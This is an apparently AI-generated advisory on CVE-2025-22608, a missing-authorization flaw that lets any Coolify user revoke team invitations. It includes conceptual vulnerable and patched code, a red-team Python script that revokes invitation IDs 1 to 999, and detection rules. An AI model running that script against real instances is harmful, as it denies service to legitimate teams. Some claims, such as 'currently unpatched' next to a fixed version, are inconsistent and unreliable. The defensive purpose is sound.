CVE-2025-22608

Executive Summary

CVE-2025-22608 is a missing authorization vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. Prior to version 4.0.0-beta.361, any authenticated user can revoke any team invitations on a Coolify instance by only providing a predictable and incrementing ID. This results in a Denial-of-Service (DoS) attack, as legitimate invitations can be maliciously revoked, disrupting team collaboration and onboarding. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched in versions before 4.0.0-beta.361. No public proof-of-concept or exploit code is available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs only an authenticated user account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The vulnerability can cause a denial of service by revoking team invitations.

Threat Level: Medium. While the impact is limited to availability, the low attack complexity and low privileges required make it a viable target for insider threats or compromised accounts.

Deep Dive & Mechanics

The vulnerability lies in the invitation revocation endpoint of Coolify. The application uses a predictable, incrementing integer ID to identify team invitations. The endpoint responsible for revoking invitations does not properly verify that the authenticated user has the necessary permissions to revoke a specific invitation. As a result, any authenticated user can enumerate invitation IDs and revoke them, causing a denial of service by preventing legitimate users from joining teams.

The core issue is a missing authorization check (CWE-862). The application should verify that the user making the request is either the invitation creator, a team administrator, or has a specific role that allows revocation. Instead, it only checks that the user is authenticated, not authorized.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint: POST /api/invitations/{id}/revoke
public function revoke($id) {
    $invitation = Invitation::find($id);
    if ($invitation) {
        $invitation->revoke();
        return response()->json(['message' => 'Invitation revoked']);
    }
    return response()->json(['message' => 'Invitation not found'], 404);
}

Patched Code (Conceptual):

// Patched endpoint: POST /api/invitations/{id}/revoke
public function revoke($id) {
    $invitation = Invitation::find($id);
    if (!$invitation) {
        return response()->json(['message' => 'Invitation not found'], 404);
    }
    // Authorization check: only team owner or admin can revoke
    if (auth()->user()->cannot('revoke', $invitation)) {
        return response()->json(['message' => 'Unauthorized'], 403);
    }
    $invitation->revoke();
    return response()->json(['message' => 'Invitation revoked']);
}

The patched version adds an authorization check using Laravel's policy or gate system to ensure only authorized users can revoke invitations.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Coolify instance running a version prior to 4.0.0-beta.361.
• An authenticated user account (any role).

Exploitation Steps:

1. Log in to the Coolify instance.
2. Enumerate invitation IDs by observing the pattern (e.g., sequential integers starting from 1).
3. Send a POST request to /api/invitations/{id}/revoke for each ID.
4. Repeat to revoke all pending invitations, causing a denial of service.

Example Request:

POST /api/invitations/1/revoke HTTP/1.1
Host: coolify.example.com
Authorization: Bearer <valid_token>
Content-Type: application/json

Automation Script (Python):

import requests

base_url = "https://coolify.example.com"
token = "your_token_here"

headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

for invitation_id in range(1, 1000):
    response = requests.post(f"{base_url}/api/invitations/{invitation_id}/revoke", headers=headers)
    if response.status_code == 200:
        print(f"Revoked invitation {invitation_id}")
    else:
        print(f"Failed to revoke {invitation_id}: {response.status_code}")

Blue Team

Detection:

• Monitor for a high volume of POST requests to /api/invitations/*/revoke from a single user.
• Alert on multiple failed authorization attempts (403 responses) followed by successful revocations.
• Track unusual patterns of invitation revocation, especially from non-admin users.

Mitigation:

• Immediately upgrade to Coolify version 4.0.0-beta.361 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to the revocation endpoint from non-admin users.
• Review and restrict user permissions to minimize the number of authenticated users who can access the API.

Indicators of Compromise (IOCs)

• Network:
  • Multiple POST requests to /api/invitations/*/revoke from the same IP address.
  • Sequential or predictable invitation IDs in the URL path.
• Logs:
  • Repeated 200 OK responses to /api/invitations/*/revoke from a single user.
  • Log entries showing revocation of invitations by users who are not team administrators.
• System:
  • Sudden inability for new users to join teams due to revoked invitations.
  • Complaints from users about expired or invalid invitation links.

Detection Engineering

YARA Rule

rule CVE_2025_22608_Coolify_Invitation_Revoke {
    meta:
        description = "Detects exploitation attempts of CVE-2025-22608 in Coolify"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-22608"
    strings:
        $revoke_endpoint = "/api/invitations/" ascii wide nocase
        $revoke_action = "revoke" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Coolify Invitation Revocation Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple invitation revocation requests from a single user, indicating potential exploitation of CVE-2025-22608.
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: coolify
detection:
    selection:
        http.method: POST
        http.url|contains: "/api/invitations/"
        http.url|endswith: "/revoke"
    condition: selection | count() by user.id > 10 within 1 minute
falsepositives:
    - Legitimate bulk revocation by an administrator
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22608 Coolify Invitation Revocation Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/invitations/"; http_uri; content:"/revoke"; http_uri; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Coolify to version 4.0.0-beta.361 or later. This is the only complete fix.
2. WAF Rule: If upgrade is delayed, deploy a WAF rule to block POST requests to /api/invitations/*/revoke from non-admin users.
3. Access Control: Review and restrict user permissions. Ensure only trusted users have API access.

Long-Term Measures:

• Implement proper authorization checks for all API endpoints.
• Use non-predictable identifiers (e.g., UUIDs) for invitations.
• Conduct regular security audits and penetration testing.
• Monitor for unusual API usage patterns.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.